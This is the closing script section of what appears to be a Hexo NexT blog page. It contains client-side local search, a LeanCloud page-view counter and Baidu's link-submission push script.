.css('overflow', 'hidden');
$('.search-popup-overlay').click(onPopupClose);
$('.popup').toggle();
var $localSearchInput = $('#local-search-input');
$localSearchInput.attr("autocapitalize", "none");
$localSearchInput.attr("autocorrect", "off");
$localSearchInput.focus();
}
// search function;
var searchFunc = function(path, search_id, content_id) {
'use strict';
// start loading animation
$("body")
.append('<div class="search-popup-overlay local-search-pop-overlay">' +
'<div id="search-loading-icon">' +
'<i class="fa fa-spinner fa-pulse fa-5x fa-fw"></i>' +
'</div>' +
'</div>')
.css('overflow', 'hidden');
$("#search-loading-icon").css('margin', '20% auto 0 auto').css('text-align', 'center');
$.ajax({
url: path,
dataType: isXml ? "xml" : "json",
async: true,
success: function(res) {
// get the contents from search data
isfetched = true;
$('.popup').detach().appendTo('.header-inner');
var datas = isXml ? $("entry", res).map(function() {
return {
title: $("title", this).text(),
content: $("content",this).text(),
url: $("url" , this).text()
};
}).get() : res;
var input = document.getElementById(search_id);
var resultContent = document.getElementById(content_id);
var inputEventFunction = function() {
var searchText = input.value.trim().toLowerCase();
var keywords = searchText.split(/[\s\-]+/);
if (keywords.length > 1) {
keywords.push(searchText);
}
var resultItems = [];
if (searchText.length > 0) {
// perform local searching
datas.forEach(function(data) {
var isMatch = false;
var hitCount = 0;
var searchTextCount = 0;
var title = data.title.trim();
var titleInLowerCase = title.toLowerCase();
var content = data.content.trim().replace(/<[^>]+>/g,"");
var contentInLowerCase = content.toLowerCase();
var articleUrl = decodeURIComponent(data.url);
var indexOfTitle = [];
var indexOfContent = [];
// only match articles with not empty titles
if(title != '') {
keywords.forEach(function(keyword) {
function getIndexByWord(word, text, caseSensitive) {
var wordLen = word.length;
if (wordLen === 0) {
return [];
}
var startPosition = 0, position = [], index = [];
if (!caseSensitive) {
text = text.toLowerCase();
word = word.toLowerCase();
}
while ((position = text.indexOf(word, startPosition)) > -1) {
index.push({position: position, word: word});
startPosition = position + wordLen;
}
return index;
}
indexOfTitle = indexOfTitle.concat(getIndexByWord(keyword, titleInLowerCase, false));
indexOfContent = indexOfContent.concat(getIndexByWord(keyword, contentInLowerCase, false));
});
if (indexOfTitle.length > 0 || indexOfContent.length > 0) {
isMatch = true;
hitCount = indexOfTitle.length + indexOfContent.length;
}
}
// show search results
if (isMatch) {
// sort index by position of keyword
[indexOfTitle, indexOfContent].forEach(function (index) {
index.sort(function (itemLeft, itemRight) {
if (itemRight.position !== itemLeft.position) {
return itemRight.position - itemLeft.position;
} else {
return itemLeft.word.length - itemRight.word.length;
}
});
});
// merge hits into slices
function mergeIntoSlice(text, start, end, index) {
var item = index[index.length - 1];
var position = item.position;
var word = item.word;
var hits = [];
var searchTextCountInSlice = 0;
while (position + word.length <= end && index.length != 0) {
if (word === searchText) {
searchTextCountInSlice++;
}
hits.push({position: position, length: word.length});
var wordEnd = position + word.length;
// move to next position of hit
index.pop();
while (index.length != 0) {
item = index[index.length - 1];
position = item.position;
word = item.word;
if (wordEnd > position) {
index.pop();
} else {
break;
}
}
}
searchTextCount += searchTextCountInSlice;
return {
hits: hits,
start: start,
end: end,
searchTextCount: searchTextCountInSlice
};
}
var slicesOfTitle = [];
if (indexOfTitle.length != 0) {
slicesOfTitle.push(mergeIntoSlice(title, 0, title.length, indexOfTitle));
}
var slicesOfContent = [];
while (indexOfContent.length != 0) {
var item = indexOfContent[indexOfContent.length - 1];
var position = item.position;
var word = item.word;
// cut out 100 characters
var start = position - 20;
var end = position + 80;
if(start < 0){
start = 0;
}
if (end < position + word.length) {
end = position + word.length;
}
if(end > content.length){
end = content.length;
}
slicesOfContent.push(mergeIntoSlice(content, start, end, indexOfContent));
}
// sort slices in content by search text's count and hits' count
slicesOfContent.sort(function (sliceLeft, sliceRight) {
if (sliceLeft.searchTextCount !== sliceRight.searchTextCount) {
return sliceRight.searchTextCount - sliceLeft.searchTextCount;
} else if (sliceLeft.hits.length !== sliceRight.hits.length) {
return sliceRight.hits.length - sliceLeft.hits.length;
} else {
return sliceLeft.start - sliceRight.start;
}
});
// select top N slices in content
var upperBound = parseInt('1');
if (upperBound >= 0) {
slicesOfContent = slicesOfContent.slice(0, upperBound);
}
// highlight title and content
function highlightKeyword(text, slice) {
var result = '';
var prevEnd = slice.start;
slice.hits.forEach(function (hit) {
result += text.substring(prevEnd, hit.position);
var end = hit.position + hit.length;
result += '<b class="search-keyword">' + text.substring(hit.position, end) + '</b>';
prevEnd = end;
});
result += text.substring(prevEnd, slice.end);
return result;
}
var resultItem = '';
if (slicesOfTitle.length != 0) {
resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + highlightKeyword(title, slicesOfTitle[0]) + "</a>";
} else {
resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + title + "</a>";
}
slicesOfContent.forEach(function (slice) {
resultItem += "<a href='" + articleUrl + "'>" +
"<p class=\"search-result\">" + highlightKeyword(content, slice) +
"...</p>" + "</a>";
});
resultItem += "</li>";
resultItems.push({
item: resultItem,
searchTextCount: searchTextCount,
hitCount: hitCount,
id: resultItems.length
});
}
})
};
if (keywords.length === 1 && keywords[0] === "") {
resultContent.innerHTML = '<div id="no-result"><i class="fa fa-search fa-5x" /></div>'
} else if (resultItems.length === 0) {
resultContent.innerHTML = '<div id="no-result"><i class="fa fa-frown-o fa-5x" /></div>'
} else {
resultItems.sort(function (resultLeft, resultRight) {
if (resultLeft.searchTextCount !== resultRight.searchTextCount) {
return resultRight.searchTextCount - resultLeft.searchTextCount;
} else if (resultLeft.hitCount !== resultRight.hitCount) {
return resultRight.hitCount - resultLeft.hitCount;
} else {
return resultRight.id - resultLeft.id;
}
});
var searchResultList = '<ul class=\"search-result-list\">';
resultItems.forEach(function (result) {
searchResultList += result.item;
})
searchResultList += "</ul>";
resultContent.innerHTML = searchResultList;
}
}
if ('auto' === 'auto') {
input.addEventListener('input', inputEventFunction);
} else {
$('.search-icon').click(inputEventFunction);
input.addEventListener('keypress', function (event) {
if (event.keyCode === 13) {
inputEventFunction();
}
});
}
// remove loading animation
$(".local-search-pop-overlay").remove();
$('body').css('overflow', '');
proceedsearch();
}
});
}
// handle and trigger popup window;
$('.popup-trigger').click(function(e) {
e.stopPropagation();
if (isfetched === false) {
searchFunc(path, 'local-search-input', 'local-search-result');
} else {
proceedsearch();
};
});
$('.popup-btn-close').click(onPopupClose);
$('.popup').click(function(e){
e.stopPropagation();
});
$(document).on('keyup', function (event) {
var shouldDismissSearchPopup = event.which === 27 &&
$('.search-popup').is(':visible');
if (shouldDismissSearchPopup) {
onPopupClose();
}
});
</script>
<script src="https://cdn1.lncld.net/static/js/av-core-mini-0.6.4.js"></script>
<script>AV.initialize("EWwoJgHNdlj6iBjiFlMcabUO-gzGzoHsz", "x8FxDrYG79C8YFrTww9ljo8K");</script>
<script>
function showTime(Counter) {
var query = new AV.Query(Counter);
var entries = [];
var $visitors = $(".leancloud_visitors");
$visitors.each(function () {
entries.push( $(this).attr("id").trim() );
});
query.containedIn('url', entries);
query.find()
.done(function (results) {
var COUNT_CONTAINER_REF = '.leancloud-visitors-count';
if (results.length === 0) {
$visitors.find(COUNT_CONTAINER_REF).text(0);
return;
}
for (var i = 0; i < results.length; i++) {
var item = results[i];
var url = item.get('url');
var time = item.get('time');
var element = document.getElementById(url);
$(element).find(COUNT_CONTAINER_REF).text(time);
}
for(var i = 0; i < entries.length; i++) {
var url = entries[i];
var element = document.getElementById(url);
var countSpan = $(element).find(COUNT_CONTAINER_REF);
if( countSpan.text() == '') {
countSpan.text(0);
}
}
})
.fail(function (object, error) {
console.log("Error: " + error.code + " " + error.message);
});
}
function addCount(Counter) {
var $visitors = $(".leancloud_visitors");
var url = $visitors.attr('id').trim();
var title = $visitors.attr('data-flag-title').trim();
var query = new AV.Query(Counter);
query.equalTo("url", url);
query.find({
success: function(results) {
if (results.length > 0) {
var counter = results[0];
counter.fetchWhenSave(true);
counter.increment("time");
counter.save(null, {
success: function(counter) {
var $element = $(document.getElementById(url));
$element.find('.leancloud-visitors-count').text(counter.get('time'));
},
error: function(counter, error) {
console.log('Failed to save Visitor num, with error message: ' + error.message);
}
});
} else {
var newcounter = new Counter();
/* Set ACL */
var acl = new AV.ACL();
acl.setPublicReadAccess(true);
acl.setPublicWriteAccess(true);
newcounter.setACL(acl);
/* End Set ACL */
newcounter.set("title", title);
newcounter.set("url", url);
newcounter.set("time", 1);
newcounter.save(null, {
success: function(newcounter) {
var $element = $(document.getElementById(url));
$element.find('.leancloud-visitors-count').text(newcounter.get('time'));
},
error: function(newcounter, error) {
console.log('Failed to create');
}
});
}
},
error: function(error) {
console.log('Error:' + error.code + " " + error.message);
}
});
}
$(function() {
var Counter = AV.Object.extend("Counter");
if ($('.leancloud_visitors').length == 1) {
addCount(Counter);
} else if ($('.post-title-link').length > 1) {
showTime(Counter);
}
});
</script>
<script>
(function(){
var bp = document.createElement('script');
var curProtocol = window.location.protocol.split(':')[0];
if (curProtocol === 'https') {
bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
}
else {
bp.src = 'http://push.zhanzhang.baidu.com/push.js';
}
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(bp, s);
})();
</script>
</body>
</html>